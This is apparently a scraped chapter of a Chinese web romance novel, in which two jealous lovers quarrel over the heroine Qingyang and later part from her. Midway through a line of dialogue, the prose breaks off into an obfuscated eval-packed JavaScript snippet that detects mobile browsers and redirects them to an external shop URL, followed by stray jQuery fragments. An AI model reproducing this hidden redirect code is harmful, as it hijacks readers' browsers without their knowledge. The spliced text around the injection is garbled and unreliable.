107. 带他走,别留他在这

作品:《山外江山

    琴声悠扬,萧萧曲调难掩演奏者的雀跃,行烟柳守护二十余年的处男身终于在昨晚告终。


    真是好兴致……大清早起来不先洗澡而是先弹一曲……


    男人衣袍松散,胸口春光叫青炀看了个一览无余,他身材很好,说白没有蝶紫阑那么白,但更有活人气,肌肉虽没有雁飞龙那么夸张,却也能迷的青炀昏头转向。


    青炀躺在床上,默默在心里吐槽行烟柳这种奇怪的行为。


    她是俗人,自然理解不了行烟柳这种恨不得广而告之的心情,文人就是这样,更何况行烟柳是文人中的文人,最追捧的就是一生一世一双人的境界,虽然现在看好像不大可能了,但此心已有归处,值得他庆祝三天三夜。


    不过这乐声确实悠扬,温和不刺耳,舒朗的曲调让人的心情更加放松。青炀趴在床上,少女细白的腰间有两个手印子,一左一右,看起来有点吓人。


    她困倦的打了个哈欠,昏昏欲睡。


    从她踏入江湖的时候就应该知道了,只要身边有男人,那她的安宁就绝对不会保持太久。


    蝶紫阑昨晚就到这边了,可他听见了屋里的声音,最终还是没有选择进去。


    但现在太阳都晒屁股了,他们还不出来!


    蝶紫阑怒从心头起恶向胆边生,飞快上前两步,抬起手便恶狠狠的敲门。


    那该死的琴声就像是要和他对着干一样,明明里面的人听到了声音也不来开门。


    “喂,你开门,让青炀出来!”沾酸吃醋的蝶紫阑气势汹汹的,让过来看情况的丫鬟们都退避三舍。


    “……去开门吧。”青炀的内心无比平静,她已经准备好面对蝶紫阑了。


    无论前面是什么样的狂风暴雨,她觉得,现在她都有能力去承受。


    行烟柳听话的站了起来,去把门打开了。


    前几日的情景好像换了人选,现在在屋里的事行烟柳,外面的是蝶紫阑,有时候人生就是这么有戏剧性,处境颠倒不过是一眨眼的事。


    “你真不要脸!”趁着青炀心软,强行逼她收下他,果然年龄大男人就是心眼多,嫉妒心也强。


    行烟柳的笑容淡淡的,他现在心愿已经达成,蝶紫阑再怎么闹都没用了。


    蝶紫阑一巴掌扇过来,却被有所准备的行烟柳抓住了胳膊,他淡然道:“你要闹尽管闹,但是别闹到青炀面前来,她不喜欢看见这种场面。”


    两个睡过的男人差点要打起来,尤其是蝶紫阑还要扇人耳光,青炀飞快地坐起来,她往门口望了望,最后还是选择去看一眼。


    背叛了自己的坏女人就站在奸夫身后,蝶紫阑看她躲闪的神情,心中无端生出一股委屈来。


    “你……你是不是不爱我了!”蝶紫阑像是小女生闹脾气一样,伸手就要去把青炀揪来出来。


    一场好戏比最精彩的话本子还要再有趣三分,周围有的侍者丫鬟都躲在一边,悄悄的观看着这场圣族大戏。


    他们都是希望青炀能留下的,因为这段时间圣子对她的痴迷,在这边伺候的佣人都是有目共睹的。


    可强扭的瓜不甜,人家青炀不愿意留下就是不愿意,圣子一厢情愿是没办法支持两个人的情感的。


    现在还插进去一个行烟柳,啧啧啧,真是狗血。


    青炀深吸一口气,她敢作敢当,这么想着,便从行烟柳身后走了出来,直言道:“我与行烟柳,的确情投意合,蝶紫阑,你别闹了。”


    她说着就要去安抚蝶紫阑,可他接下来的话不由得让她停下了动作。


    “你说什么!那我呢,那我算什么!你得了我的身子不对我负责便罢了,这个老男人他有什么好的,你要这么欺负我!”


    蝶紫阑的声音开始变得高昂尖锐,他不在乎自己在外面是什么形象了,反正能看到听到的都是知情人,而且权力也会帮他洗脱幼稚的印象。


    “你小点声,大家都看着呢。”蝶紫阑不要脸青炀还要脸,她总感觉床帏之间那档子事不能随便说出来,尤其是,还是在这大家都在的场合,就算有人没来也得被蝶紫阑这把好嗓子叫过来。


    青炀敢做不敢当的样子让蝶紫阑更加羞愤,自己就把身子给了这么一个窝囊废,别的男人勾勾手指她就黏上去了!


    蝶紫阑忘了自己当时也是靠美色勾引的青炀,青炀就是喜欢美色所以才和他在一起的,就是因为好男色,才让蝶紫阑抓住了机会一举成为青炀的入室之宾。


    他丝毫不顾及青炀的颜面,愤怒道:“你亲我的时候怎么不说小声点,你爱我的时候怎么不说小声点,这些事你都干了,我说出来怎么了,为什么要叫我小声点,你有能耐你别睡他啊!”


    他这一句话落下来,青炀的眼神也从他的脸上滑到了地上,她的自尊心在这一刻被蝶紫阑击溃了。


    其实青炀不在乎女子名节,在江湖上浪迹天涯的女前辈们都无所谓,睡的好男人越多,更能侧面体现她们的能力,可青炀到底还是年轻,她这人脸皮薄好面子,根本就听不得蝶紫阑说这个。


    行烟柳当然知道青炀要脸,他连忙凑过去关心青炀,可青炀已经处于绷不住的边缘了。


    这种话不是不能说,而是要在青炀彻底接受多人关系之后才能说,现在的青炀睡一个都负罪感满满,结果刚睡完第二个就被第一个找上门指着鼻子骂了。


    “你……”蝶紫阑看青炀逐渐灰暗的面色,心里越来越害怕,他说错话了,一时嘴快,想什么说什么,却忘了青炀连睡完他第二天都要趁没人的时候走。


    “我错了,你别哭!”蝶紫阑连忙上前给青炀擦眼泪,他来其实是想把青炀拉走到他身边的,但这下完蛋了,青炀以后估计都不理他了。


    粉衣少女哭着跑走,后面行烟柳拦住蝶紫阑,他用严厉的语气教训道:“如果你再敢这样和青炀说话,那我就会砍断你的手!”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128298|193430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    滚开,还不是因为你!”蝶紫阑不顾行烟柳的阻拦追了上去。


    至于行烟柳为什么没去追,是因为他知道,青炀现在一定不想见任何人。


    要说还是行烟柳比较了解青炀,他猜对了,青炀在逃跑的时候,浑身经脉好像突然通畅了一样,她跑的很快,几个拐角之后就没影了。


    蝶紫阑追丢之后想把人叫出来,可他现在不敢再说话了,自己要是扯着嗓子喊她,或是遣人去找她,她肯定会更生气。


    捶胸顿足的蝶紫阑使劲拍了拍自己的脑袋,他这不是把青炀在往外推嘛!


    是他,眼见着他们离启程没多久了,急的发了疯,惹了青炀伤心。


    后悔莫及的蝶紫阑开始向先祖祈祷,求求他们让青炀原谅他,他不能没有青炀!


    祈祷要是有用的话,那先祖就干脆把蝶紫阑那句蠢话收回来了,在接下来的日子里,蝶紫阑根本就连青炀的毛都没逮到。


    原本在拉扯中还有微弱优势的蝶紫阑现在已经彻底的沦为败犬,他知道这段时间青炀是和行烟柳在一起的,可他就算去找了,青炀也不肯见他。


    无论多些时间停止在这里,青炀就在苗疆,即便是不想见他,也就在他附近,可随着一伙人重新穿上红色官服,蝶紫阑也不得不看清现实,青炀要回去了。


    她要走了,要离开他了。


    天气晴朗的很,日光暖暖的洒在每个人的身上,不过今日的风倒是冷的有些不一般了,簌簌吹着有心人摇摇欲坠的防备。


    分别这日,蝶紫阑带着苗疆大臣们为青炀送行,他就在这告诉了他们,这是他唯一一个喜欢的人,也是他们未来的女主人。


    青炀听后,虽然有所触动,但还是在行烟柳的旁边侧过了脸,她有自己的考量。


    “是我不对,我不该那么说,青炀……你原谅我吧,好不好……我该死,你别不理我了,我好想你……”蝶紫阑紧张的手微微发抖,他在明春的鼓励下往前两步,拉住了青炀的手。


    说到底,和蝶紫阑置气也没什么用,青炀暂时还不能接受自己所做的事和世俗观念背道而驰,再说蝶紫阑年纪小,行事有所偏差也正常,都是她太弱了,没那么强的心。


    “没关系了你都忘了吧……”青炀轻轻握住蝶紫阑的手,语气清浅,她像是个姐姐一样,拍了拍蝶紫阑的手背,这就算作告别了,她转身就要走。


    赤麟卫和苗疆的人都在看着呢,就在这么多双眼睛里,蝶紫阑从背后抱住了青炀,他急切的小声说道:你带我走,带我走好不好。”


    少年的低吟中满是伤痛,他实在是不想和青炀分开,只要青炀今日答应了,那以后无论天涯海角,他都生死相随。


    蝶紫阑的爱就像是燃烧的火一样,离了青炀做他的养分,他名为“爱”的感情就会瞬间熄灭,再也不会出现,他用自己细腻光滑的脸颊蹭着青炀的脖侧,就像是初生的小兽一样,眷恋青炀的温度。